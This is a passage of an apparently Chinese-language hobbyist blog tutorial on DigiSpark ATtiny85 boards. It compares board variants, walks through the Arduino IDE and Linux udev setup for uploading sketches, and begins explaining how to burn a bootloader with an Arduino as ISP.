<tr>
<th>第1列</th>
<td>P4</td>
<td>P5</td>
<td>P2</td>
<td>P1</td>
</tr>
<tr>
<th>第2列</th>
<td>P3</td>
<td>GND</td>
<td>P0</td>
<td>5V</td>
</tr>
</tbody>
</table>
</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgc2acDo6aLv9uBTEMyo5Y9p-MXaaBdRCFstYrzhEzuK7UHsVWmRl4CXHtW0mGie7blY-N3abJC4IFtHw566B9iybQ5e5LLf19giL_VQIQvWHuo_zd-LPiHvNH54V1ucgwwq9rGpLmNOlfbMey2aa7xx6WT_TpIaGSe366E6BVmvBXhaQLAKvX1xqu-/w0/digispark-attiny85-board-024.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgc2acDo6aLv9uBTEMyo5Y9p-MXaaBdRCFstYrzhEzuK7UHsVWmRl4CXHtW0mGie7blY-N3abJC4IFtHw566B9iybQ5e5LLf19giL_VQIQvWHuo_zd-LPiHvNH54V1ucgwwq9rGpLmNOlfbMey2aa7xx6WT_TpIaGSe366E6BVmvBXhaQLAKvX1xqu-/w600/digispark-attiny85-board-024.jpg"/></a></div>
<div>DigiSpark(DIP) 兼容開發板 背面<br/>
背面有詳細說明每支引腳的功能</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhs5idZhEdMR7SNgCtcOBs9pZgXsSHZA7x9lcbVCQcflQMY3V5CwRdiHUoA-vWYLUewYNugOVKCycxB_1vnUqn8pMkP7qRoU2juTC63eYWicmXBa6Smcj5Ig02xrrWFJnDmI--JbJ5a1QOq-i0d2SD3M4WVKL_04xbnE6RcU8ITdp8yzsJ3hU-SJjpL/w0/digispark-attiny85-board-061.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhs5idZhEdMR7SNgCtcOBs9pZgXsSHZA7x9lcbVCQcflQMY3V5CwRdiHUoA-vWYLUewYNugOVKCycxB_1vnUqn8pMkP7qRoU2juTC63eYWicmXBa6Smcj5Ig02xrrWFJnDmI--JbJ5a1QOq-i0d2SD3M4WVKL_04xbnE6RcU8ITdp8yzsJ3hU-SJjpL/w600/digispark-attiny85-board-061.jpg"/></a></div>
<div>引腳座缺口要匹配 ATtiny85 的第1引腳</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNiUsP_XL-5C19J97plWMmK4xOBeJ8J1OQx_Un94kpDhuyFH_8GqWh51IVX3Vahs4GGJ0g5LsKNOWtKs5l9QgJ0-Ge59Dh0m0FAh92GfTRwFaTHZxIG3XmQXB59_CaLQjOTftNZqpc0XPW9qNOoHsrP6uF_4B6DkORwIZIiYrd6dsLJwrLI3r45uN9/w0/digispark-attiny85-board-025.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNiUsP_XL-5C19J97plWMmK4xOBeJ8J1OQx_Un94kpDhuyFH_8GqWh51IVX3Vahs4GGJ0g5LsKNOWtKs5l9QgJ0-Ge59Dh0m0FAh92GfTRwFaTHZxIG3XmQXB59_CaLQjOTftNZqpc0XPW9qNOoHsrP6uF_4B6DkORwIZIiYrd6dsLJwrLI3r45uN9/w600/digispark-attiny85-board-025.jpg"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEieC14m3wdCg2D9z--nwN6gN1IBgiz3PQGIUJ_krKyLyY2iECxayLoBqf1PWDo7kSHpKRhVKgJba6b6zo8QhBbUjqVx9EUF0S3SO5RPN5PnYfCHwKs2vLGsR5p6nPbeW77ZiopfEg3WFBBNCTOvxwxYgz5ZKVZ1EuLPS4p_Xg6wZTR0Y-MRFskvPmrT/w0/digispark-attiny85-board-026.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEieC14m3wdCg2D9z--nwN6gN1IBgiz3PQGIUJ_krKyLyY2iECxayLoBqf1PWDo7kSHpKRhVKgJba6b6zo8QhBbUjqVx9EUF0S3SO5RPN5PnYfCHwKs2vLGsR5p6nPbeW77ZiopfEg3WFBBNCTOvxwxYgz5ZKVZ1EuLPS4p_Xg6wZTR0Y-MRFskvPmrT/w600/digispark-attiny85-board-026.jpg"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2F8ex_-GOkxBoKSbYAE9t6qW0zXNbgvH8Km9mBFMSSw8TLm5uh9fm8aCefPoYzTg-kN4HTTht98mZcZW5tdz9UrhUDHorDACJixdp5Lh_tOfF7v2xFTT7O-J1QotPBxclWjoVJ039VI7BR_zlzm6kCK7pcjx_DdhfgYM4OMoTrKd6SrPH3NfqSz7I/w0/digispark-attiny85-board-027.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2F8ex_-GOkxBoKSbYAE9t6qW0zXNbgvH8Km9mBFMSSw8TLm5uh9fm8aCefPoYzTg-kN4HTTht98mZcZW5tdz9UrhUDHorDACJixdp5Lh_tOfF7v2xFTT7O-J1QotPBxclWjoVJ039VI7BR_zlzm6kCK7pcjx_DdhfgYM4OMoTrKd6SrPH3NfqSz7I/w600/digispark-attiny85-board-027.jpg"/></a></div>
<div>DigiSpark(DIP) 兼容開發板 的 特點是可以將 ATtiny85 DIP 安裝及卸除<br/>
測試時將 ATtiny85 安裝到開發板,測試完成後將 ATtiny85 卸除,並安裝到原型或正式產品使用</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiy2DR9gYkQONUS5PPoJ4XuqsUdYY01NetjRJjM4rVjQ6LJdgsHAFzG6UESW6qJu_PVZ82Z-s-arsaBgDO8eq_cmqicwScFlm-cKTgiGCICVYHiq3jtrLC0Ym6R4EkyrASEQIQeK19Zw5cGHPALQs9c72bFNvBj-3a0Z7zK4KuxofOn88d1poRTvNKw/w0/digispark-attiny85-board-028.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiy2DR9gYkQONUS5PPoJ4XuqsUdYY01NetjRJjM4rVjQ6LJdgsHAFzG6UESW6qJu_PVZ82Z-s-arsaBgDO8eq_cmqicwScFlm-cKTgiGCICVYHiq3jtrLC0Ym6R4EkyrASEQIQeK19Zw5cGHPALQs9c72bFNvBj-3a0Z7zK4KuxofOn88d1poRTvNKw/w600/digispark-attiny85-board-028.jpg"/></a></div>
<div>接駁電源時 紅色LED 會亮著</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN5-4G2sRqMUI83LDVl_Res4Q8WsBPwa8KUD-ZOjwJD4rJzucEUnvaWv0W5LpHFpa-gjwDZV13z6164rM-lGWTWKy7341n1qzOjRtTX5WaHHtKuFmIdLHmfjcu2r-iudul6mdm4eEdPcBkCvhkazvyI4E5QNZ6T-kflKVRbHT7EnZKtDt7rAavnXCT/w0/digispark-attiny85-board-056.gif"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN5-4G2sRqMUI83LDVl_Res4Q8WsBPwa8KUD-ZOjwJD4rJzucEUnvaWv0W5LpHFpa-gjwDZV13z6164rM-lGWTWKy7341n1qzOjRtTX5WaHHtKuFmIdLHmfjcu2r-iudul6mdm4eEdPcBkCvhkazvyI4E5QNZ6T-kflKVRbHT7EnZKtDt7rAavnXCT/w600/digispark-attiny85-board-056.gif"/></a></div>
<div>電路板LED閃動 效果</div>
<br/>
<a name="各種DigiSpark比較"></a><h4 class="mra-h4">各種 DigiSpark 比較</h4>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHh9y-lYKPw5cbb87DXGIex9LNR5grGP1UOrbKf969COjBnsuffMTHTJdBVUT105i-XlPyYfzMdgocYG6_aJVu-MlQpnJO07uHcpV-RpDumspX9ZGkHKgEWo36a4l7eYQo-WSGyu_Z7a9lk8eO6f-fugzFNyTVKuR99Es3_4v8S6tJ24390rwEw8hF/w0/digispark-attiny85-board-029.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHh9y-lYKPw5cbb87DXGIex9LNR5grGP1UOrbKf969COjBnsuffMTHTJdBVUT105i-XlPyYfzMdgocYG6_aJVu-MlQpnJO07uHcpV-RpDumspX9ZGkHKgEWo36a4l7eYQo-WSGyu_Z7a9lk8eO6f-fugzFNyTVKuR99Es3_4v8S6tJ24390rwEw8hF/w600/digispark-attiny85-board-029.jpg"/></a></div>
<div>3款 DigiSpark 開發板都各有好處及壞處</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhahWNJlHRjbo2eiNG-uX8DjS_7_T1MNqNfr7l40hejSKLoP8PFkr333TaXPCWHulbPY9YmYeZu94FtkE9XM4U4Yzi2h8KdvUTsyEWnY1zfnJe-jmUM24FlPUSBb_d94FYUgnAw_dFeaTrbBJqk9j8TcqYBOLP6NWmMQXA5DKBR_YH7zLrJKuaLDLVd/w0/digispark-attiny85-board-042.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhahWNJlHRjbo2eiNG-uX8DjS_7_T1MNqNfr7l40hejSKLoP8PFkr333TaXPCWHulbPY9YmYeZu94FtkE9XM4U4Yzi2h8KdvUTsyEWnY1zfnJe-jmUM24FlPUSBb_d94FYUgnAw_dFeaTrbBJqk9j8TcqYBOLP6NWmMQXA5DKBR_YH7zLrJKuaLDLVd/w600/digispark-attiny85-board-042.jpg"/></a></div>
<div>DigiSpark 原裝開發板
<ul>
<li>可以直接像 USB 裝置般連接到電腦</li>
<li>沒有 USB Type-A 延長線使用上則比較麻煩</li>
<li>經常插拔較容易損壞電腦的 USB 插孔</li>
</ul></div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjM6R7E1FoNLfGpR00Tt3sR0wTFs2W7C6Pstg0yy_wpqHJdLtJjEiph87LKsTsWROjAQw-eCGW_fjSu0ah7W3HYeWQ08cZ9t-QIG8qyx8n3rbx4b1NQ88mo4MOw49Ru2VPk3zOxhu3sGLF2xl5Neo7BFKT9gj3uiU-QZKfLKocuSet5n2VWxDvAhJIi/w0/digispark-attiny85-board-041.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjM6R7E1FoNLfGpR00Tt3sR0wTFs2W7C6Pstg0yy_wpqHJdLtJjEiph87LKsTsWROjAQw-eCGW_fjSu0ah7W3HYeWQ08cZ9t-QIG8qyx8n3rbx4b1NQ88mo4MOw49Ru2VPk3zOxhu3sGLF2xl5Neo7BFKT9gj3uiU-QZKfLKocuSet5n2VWxDvAhJIi/w600/digispark-attiny85-board-041.jpg"/></a></div>
<div>DigiSpark 兼容開發板
<ul>
<li>3款開發板中最細小</li>
</ul></div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsLFBfS8nixyJtihjYEzPT4cQdKg-RbgfrEk7uPh0LBaLhb-DyuAikU9__5SQ8ocJz5XAwcXOd0pKoIUBHahadsu4I3fvKz7M9YBAi61njglsntw7EqzES8fVhDRgs8fLaXOs1elfmjhCg5iYnI1f3VEAoKqMa0LJLFEdXT9h4SsX47DxcyKfzn3jh/w0/digispark-attiny85-board-043.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsLFBfS8nixyJtihjYEzPT4cQdKg-RbgfrEk7uPh0LBaLhb-DyuAikU9__5SQ8ocJz5XAwcXOd0pKoIUBHahadsu4I3fvKz7M9YBAi61njglsntw7EqzES8fVhDRgs8fLaXOs1elfmjhCg5iYnI1f3VEAoKqMa0LJLFEdXT9h4SsX47DxcyKfzn3jh/w600/digispark-attiny85-board-043.jpg"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXTqlGkCGpYn9zMmJLoFZyDhAMnSpyhc7FOFZsHYnNTh3W54PGJgR9otr9TgHicSUquAIGruStq2zRq1SnbxMaavKpAI7i1Egn-ffIVBAItt8L9wPdDB7tXA8hfgKUKaCfv_cCGtXbGKSMq4nl1VUfFD2KHbgurmrhbqwcw7hBHvjWg1ybR5I5wUqs/w0/digispark-attiny85-board-044.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXTqlGkCGpYn9zMmJLoFZyDhAMnSpyhc7FOFZsHYnNTh3W54PGJgR9otr9TgHicSUquAIGruStq2zRq1SnbxMaavKpAI7i1Egn-ffIVBAItt8L9wPdDB7tXA8hfgKUKaCfv_cCGtXbGKSMq4nl1VUfFD2KHbgurmrhbqwcw7hBHvjWg1ybR5I5wUqs/w600/digispark-attiny85-board-044.jpg"/></a></div>
<div>DigiSpark(DIP) 兼容開發板
<ul>
<li>雖然是3款開發板中最細大,但卸除 ATtiny85 後使用卻是最小</li>
<li>不附帶 ATtiny85 的 DigiSpark 開發板最便宜</li>
<li>控制引腳沒有為安裝到麵包板設計</li>
<li>需要燒錄起動器才能直接經 USB 上載 Sketch</li>
</ul></div>
<br/>
<a name="安裝及設定DigiSpark上載器"></a><h4 class="mra-h4">安裝及設定 DigiSpark 上載器</h4>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjg_6cz0PCx2OB93bxU7yNFZVJP25XqdFtz0r1xdCEhIl2rn-yRET9bcp7qQB7TIpdGPVI-6phBY83ffiJ40R_p0BKp73iQGgg9t3a5JTIXWHfTLmCO_VrWWFHXxRdt6_ZvXBt07uNVtcVyqU8X4IyzYx-FDSLPnd39NBfKmcZ0KXcRTn3Kf8PbvHzb/w0/digispark-attiny85-board-030.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjg_6cz0PCx2OB93bxU7yNFZVJP25XqdFtz0r1xdCEhIl2rn-yRET9bcp7qQB7TIpdGPVI-6phBY83ffiJ40R_p0BKp73iQGgg9t3a5JTIXWHfTLmCO_VrWWFHXxRdt6_ZvXBt07uNVtcVyqU8X4IyzYx-FDSLPnd39NBfKmcZ0KXcRTn3Kf8PbvHzb/w600/digispark-attiny85-board-030.png"/></a></div>
<div>開啟 Arduino IDE 並在 File > Preferences > Additional Boards Manager URLs 加入<br/>
<pre class="brush:bash">https://raw.githubusercontent.com/digistump/arduino-boards-index/master/package_digistump_index.json</pre>
</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVxTCneg_uImR_71Rk0wTxAcs6AYYwYx0dkrC_0JiFN_suQ48TxzyGWh3U57KL5F1BbDqb-SRlqjRnYLUe7YXvAU3oELgiIvEs2Gbs0bhS6t8KJ4kYL7ukGJl1jfgMDmIRtleBYL9dUpNTYnEE79xMMRQwO5AiAXwFNYs7vmTkpq5zKiD77EBEkgqh/w0/digispark-attiny85-board-031.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVxTCneg_uImR_71Rk0wTxAcs6AYYwYx0dkrC_0JiFN_suQ48TxzyGWh3U57KL5F1BbDqb-SRlqjRnYLUe7YXvAU3oELgiIvEs2Gbs0bhS6t8KJ4kYL7ukGJl1jfgMDmIRtleBYL9dUpNTYnEE79xMMRQwO5AiAXwFNYs7vmTkpq5zKiD77EBEkgqh/w600/digispark-attiny85-board-031.png"/></a></div>
<div>到 Tools > Board > Boards Manager 尋找 <span class="mra-highlighter">Digistump AVR Boards</span> 並安裝</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBA60D2GAnBsH-4U58PRfC7jjuPajSgkbHH2PLcxbj0XF38mnekAGZbDQyCIsx4ga7pc0D2JlfLODNIxd1ijAtgZEidwKgvUzB_WhFST_XYKElEGAf7TZhjy9UiPvGsUKOErCz3YzdaQjDcBH2-s0KelRmT6ynugxNFqsnRZIJ5qsvv1ptAb-N-KtZ/w0/digispark-attiny85-board-032.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBA60D2GAnBsH-4U58PRfC7jjuPajSgkbHH2PLcxbj0XF38mnekAGZbDQyCIsx4ga7pc0D2JlfLODNIxd1ijAtgZEidwKgvUzB_WhFST_XYKElEGAf7TZhjy9UiPvGsUKOErCz3YzdaQjDcBH2-s0KelRmT6ynugxNFqsnRZIJ5qsvv1ptAb-N-KtZ/w600/digispark-attiny85-board-032.png"/></a></div>
<div>到 Tools > Board > Digistump AVR Boards 選擇 <span class="mra-highlighter">Digispark (Default -16.5mhz)</span></div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgp6Du4EZeLaRr6Q4X9lazJgMiDqF-CT6YE750ue48KusNhxxQDk8u9xr7Jtw2yElIGdJYtHQLDTNxEG5JaG4F3UITGOD6P_DkuVLqwKxGpx12r9Ti0blQTrwVeTdbvkkKZdh3lFUbP0jhyR-X1RzW0DCw2_AG4kzxkRUBHoEMKpPRe7SkOwBUKLd2R/w0/digispark-attiny85-board-033.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgp6Du4EZeLaRr6Q4X9lazJgMiDqF-CT6YE750ue48KusNhxxQDk8u9xr7Jtw2yElIGdJYtHQLDTNxEG5JaG4F3UITGOD6P_DkuVLqwKxGpx12r9Ti0blQTrwVeTdbvkkKZdh3lFUbP0jhyR-X1RzW0DCw2_AG4kzxkRUBHoEMKpPRe7SkOwBUKLd2R/w600/digispark-attiny85-board-033.png"/></a></div>
<div>閣下應該會發現 Arduino IDE 沒有偵測到 DigiSpark 開發板的連接埠<br/>
DigiSpark 使用 Micronucleus 直接使用 USB訊號 將 Sketch 上載到 ATtiny85 ,而不是將 USB訊號 轉換成 UART訊號 上載<br/>
因此 Arduino IDE 不會顯示 DigiSpark 開發板連接埠<br/>
當將 Sketch 上載到 ATtiny85 出現 <span class="mra-highlighter">無法找到 libusb-0.1.so.4</span> 錯誤</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6-6UjNF-uxzuMEEkjj6sw_233_xcHa-lhWHBnU1q3SXhUQ8PBIzkzDZCKXjjvSoeA3KtOPyzmppJjVhwD1kM9jvk3On3NCBmoDUoxTNY_n3ijwB0OYe_jdGqLl844IvtvmpniHsLGPoTu-0yElJVHjKrr3OAAkpeCDNGCogEQdPrUXoPRrl_rs_Sw/w0/digispark-attiny85-board-034.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6-6UjNF-uxzuMEEkjj6sw_233_xcHa-lhWHBnU1q3SXhUQ8PBIzkzDZCKXjjvSoeA3KtOPyzmppJjVhwD1kM9jvk3On3NCBmoDUoxTNY_n3ijwB0OYe_jdGqLl844IvtvmpniHsLGPoTu-0yElJVHjKrr3OAAkpeCDNGCogEQdPrUXoPRrl_rs_Sw/w600/digispark-attiny85-board-034.png"/></a></div>
<div>開啟 Terminal 輸入<br/>
<pre class="brush:bash">sudo apt install libusb-0.1-4</pre>
或 <a href="apt:libusb-0.1-4">按此安裝 libusb-0.1-4</a>
</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh89QsOZBqWTrizWV-XfvLod4nMCa3xGXTSBehMIeCbfBNg5CgIHlTE3uTB2Nhnho3cHuhHU0mII-WMZ8kSA2oUgzj7aF1_ygqWW657N2mw3kKBHk_W_ozBaGcNLhDrMoxDlnyoMpq_AkewT9QyDOAkUtLnKlKZE8cQCs0A6eRpTaTSnCcuEM1TgkGc/w0/digispark-attiny85-board-035.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh89QsOZBqWTrizWV-XfvLod4nMCa3xGXTSBehMIeCbfBNg5CgIHlTE3uTB2Nhnho3cHuhHU0mII-WMZ8kSA2oUgzj7aF1_ygqWW657N2mw3kKBHk_W_ozBaGcNLhDrMoxDlnyoMpq_AkewT9QyDOAkUtLnKlKZE8cQCs0A6eRpTaTSnCcuEM1TgkGc/w600/digispark-attiny85-board-035.png"/></a></div>
<div>再次上載 Sketch 到 ATtiny85 出現 <span class="mra-highlighter">micronucleus_connect: Assertion `res >= 4' failed</span> 錯誤</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNjoLhRdgc6ExT4_32DHBPxRg6CrrXYiXrQk0PYaH6ZV9g7uDWe0sr_PfnYBhS1Dv9q2YnE5l7_QrPLdAfpDeTGsBNeUPNXfmjE_cuH6KYczQNiM4Kh3DOkeAAKkC0RGP8sKQBr5AZwup7uuLkMdYCB4-UbgYqIaEzLNMpkCsnpHn6oireIE9F9tdy/w0/digispark-attiny85-board-036.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNjoLhRdgc6ExT4_32DHBPxRg6CrrXYiXrQk0PYaH6ZV9g7uDWe0sr_PfnYBhS1Dv9q2YnE5l7_QrPLdAfpDeTGsBNeUPNXfmjE_cuH6KYczQNiM4Kh3DOkeAAKkC0RGP8sKQBr5AZwup7uuLkMdYCB4-UbgYqIaEzLNMpkCsnpHn6oireIE9F9tdy/w600/digispark-attiny85-board-036.png"/></a></div>
<div>在 Terminal 輸入<br/>
<pre class="brush:bash">lsusb | grep -i digi</pre>
找到 DigiSpark 開發板的 ID</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6UdFFEnyK74oRYN__Y5vceIJtATIsZjD1dHiE5kiZtpolg2Ou8oER6YSN96KoAp4Xy-JSIDMayvXmNNNZQShwTODVpgDbKovAOSeYlaB8KLOyUEgi2xACHuaq0MnjuYWDBiV3KRyJu0RadPf3WErwkpctSVw4AfDrVEqclqj24oU9vbMCNhbx7nmB/w0/digispark-attiny85-board-037.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6UdFFEnyK74oRYN__Y5vceIJtATIsZjD1dHiE5kiZtpolg2Ou8oER6YSN96KoAp4Xy-JSIDMayvXmNNNZQShwTODVpgDbKovAOSeYlaB8KLOyUEgi2xACHuaq0MnjuYWDBiV3KRyJu0RadPf3WErwkpctSVw4AfDrVEqclqj24oU9vbMCNhbx7nmB/w600/digispark-attiny85-board-037.png"/></a></div>
<div>建立 <span class="mra-highlighter">/etc/udev/rules.d/49-micronucleus.rules</span> 檔案</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0o7AzN2hjZO1HT-hEgSG1rUc-WxsOJPzZp_SbUzkkDKKS7DHCcdra4eSjKokcJUx9aQ675E62fyLFvMatT6isGTYPslQdJ05M7DpGGnH69mnmvb2VIpphKq-jAW8UZl5frIaQ0k2IwYu6W7JGMKFgtkl-I85yPXA5fxXyid4XWi6scxzavExL72jn/w0/digispark-attiny85-board-038.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0o7AzN2hjZO1HT-hEgSG1rUc-WxsOJPzZp_SbUzkkDKKS7DHCcdra4eSjKokcJUx9aQ675E62fyLFvMatT6isGTYPslQdJ05M7DpGGnH69mnmvb2VIpphKq-jAW8UZl5frIaQ0k2IwYu6W7JGMKFgtkl-I85yPXA5fxXyid4XWi6scxzavExL72jn/w600/digispark-attiny85-board-038.png"/></a></div>
<div>在檔案中加入<br/>
<pre class="brush:bash">SUBSYSTEMS=="usb", ATTRS{idVendor}=="16d0", ATTRS{idProduct}=="0753", MODE:="0666"
KERNEL=="ttyACM*", ATTRS{idVendor}=="16d0", ATTRS{idProduct}=="0753", MODE:="0666", ENV{ID_MM_DEVICE_IGNORE}="1"</pre>
並儲存</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7tmqY76fWRSeiVGcPWzCsrsqui0WhIL71v70hcTueawzhchsF3kjZ8uq7rmhBxfX8zXyW1ttHccHGx2KVDwJvSO2R9UQ_flHaJgaLXx5mtzej3ETIrWxzTMdN7paGJd8lJ-iK8ZTN7RpHPiW2tSMsxZ-8kc3_9HnZxekqV2qIyjkMCPli2ZBuwJsP/w0/digispark-attiny85-board-039.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7tmqY76fWRSeiVGcPWzCsrsqui0WhIL71v70hcTueawzhchsF3kjZ8uq7rmhBxfX8zXyW1ttHccHGx2KVDwJvSO2R9UQ_flHaJgaLXx5mtzej3ETIrWxzTMdN7paGJd8lJ-iK8ZTN7RpHPiW2tSMsxZ-8kc3_9HnZxekqV2qIyjkMCPli2ZBuwJsP/w600/digispark-attiny85-board-039.png"/></a></div>
<div>完成後輸入<br/>
<pre class="brush:bash">sudo udevadm control --reload-rules</pre>
更新 USB 裝置的規則,並重新開機</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhd38HuR0oe6V0f2VE4iLp1WsZNhFICviSrscBlPkr7LtIGgpdlyHcrXCcbq4Ck4PTtTGquAmjzxhZbERaK19N8e4NIWjes7UIFq-hEC57Cza-EJlkZujcqaA_o1eaWXFak36ns2KQLXdArA-yuQznp4Pveu2u3Gxc8_Pp7ut2eN5xEd9d7wTx8h9Vm/w0/digispark-attiny85-board-040.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhd38HuR0oe6V0f2VE4iLp1WsZNhFICviSrscBlPkr7LtIGgpdlyHcrXCcbq4Ck4PTtTGquAmjzxhZbERaK19N8e4NIWjes7UIFq-hEC57Cza-EJlkZujcqaA_o1eaWXFak36ns2KQLXdArA-yuQznp4Pveu2u3Gxc8_Pp7ut2eN5xEd9d7wTx8h9Vm/w600/digispark-attiny85-board-040.png"/></a></div>
<div>終於可以將 Sketch 上載到 ATtiny85</div>
<br/>
<a name="燒錄起動器到ATtiny85"></a><h4 class="mra-h4">燒錄起動器到 ATtiny85</h4>
<div>以前在下曾使用 Arduino 作為 ISP裝置 將 Sketch 上載到 ATtiny85 ,這種方法還需要接駁繁瑣的線路<br/>
因此使用與 DigiSpark 相同的方法,將起動器燒錄到 ATtiny85 ,便可以直接將 Sketch 上載到 ATtiny85<br/>
但燒錄起動器到 ATtiny85 前,需要先將 Arduino 修改成 ISP裝置<br/>
然後將 Arduino ISP 及 ATtiny85 連接,連接方法與在下的 <a href="https://hkgoldenmra.blogspot.com/2020/10/arduino-sketch-attiny85.html">經 Arduino 上載 Sketch 到 ATtiny85</a> 相同<br/>
因此在下不重覆內容,請自行前往該文章了解連接的線路的佈局</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpxM0lDoeW8LNl4RdXxj46F8tqCaDlO7rB1X157ABR0ISAtsvOfVohdYpD8nuJYOesiZgdOmQmzbNWhLs3jQFnlCyRKp-MMgPb87wgz3xNvWZ7KiWlMrdxz91pZRf4PCYLL2K9QQHNbZ7YziCUZiFQ9ZDR5pvNLQTruDA5_E8YEdBLg8QeG7pUVU4d/w0/digispark-attiny85-board-060.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpxM0lDoeW8LNl4RdXxj46F8tqCaDlO7rB1X157ABR0ISAtsvOfVohdYpD8nuJYOesiZgdOmQmzbNWhLs3jQFnlCyRKp-MMgPb87wgz3xNvWZ7KiWlMrdxz91pZRf4PCYLL2K9QQHNbZ7YziCUZiFQ9ZDR5pvNLQTruDA5_E8YEdBLg8QeG7pUVU4d/w600/digispark-attiny85-board-060.png"/></a></div>
<div>如果已經將 ATtiny85 安裝 DigiSpark 上,亦可以直接連接線路<br/>
DigiSpark 上的引腳排列,其實是 ICSP6 的排列,方便連接到 ISP裝置<br/>
注意: DigiSpark 的 RST 要連接到 Arduino 的 D10引腳 (SS引腳)</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYQdvUTVWBsY0dj2p_34jtajxewIqE84cKCVzaQzosen55duURr6kOpdkcUk9Il4Nqn1D2sBnu1A2Q2zslN6kxeJ-sgv0fjsYPxD3M3a5NpRCS_fPHY3RgGZN07a6MgGfl8Fo5FpqFriigEr0DtDrKmZN4jqhdjNRIECQGnomihFBxMiDklEzufrD-/w0/digispark-attiny85-board-045.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYQdvUTVWBsY0dj2p_34jtajxewIqE84cKCVzaQzosen55duURr6kOpdkcUk9Il4Nqn1D2sBnu1A2Q2zslN6kxeJ-sgv0fjsYPxD3M3a5NpRCS_fPHY3RgGZN07a6MgGfl8Fo5FpqFriigEr0DtDrKmZN4jqhdjNRIECQGnomihFBxMiDklEzufrD-/w600/digispark-attiny85-board-045.png"/></a></div>
<div>到 <a href="https://github.com/Jasdoge/Attiny85-Bootloader-Tutorial">https://github.com/Jasdoge/Attiny85-Bootloader-Tutorial</a><br/>
下載 <span class="mra-highlighter">burn_attiny85_bootloader.bat</span> 及 <span class="mra-highlighter">t85_default.hex</span></div>
<br/>
